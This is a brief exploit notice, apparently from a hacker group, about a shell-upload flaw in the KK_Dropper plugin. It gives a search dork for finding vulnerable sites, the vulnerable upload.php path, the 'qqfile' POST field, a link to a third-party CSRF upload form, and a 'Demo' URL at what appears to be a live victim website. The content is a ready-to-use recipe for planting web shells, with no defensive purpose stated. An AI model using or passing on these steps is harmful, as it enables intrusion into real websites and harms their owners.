Title : Plugins KK_Dropper Shell Upload With CSRF
Author : Esevenb
Date : 30/04/2019
From : Garuda Security Hacker
==============================================
Dork : includes/plugins/kk_dropper
Exploit : includes/plugins/kk_dropper/drops/KK_ContactForms/uploader/upload.php
===============================================
Vuln Error
{"error":"No files were uploaded."}
===============================================
Csrf Post File : qqfile
CSRF Online : http://mediecom.in/asus.php?dir=&do=csrf
===============================================
Path Shell
You can see
===============================================
Demo :
https://www.mauiultrafins.shop/includes/plugins/kk_dropper/drops/KK_ContactForms/uploader/upload.php
===============================================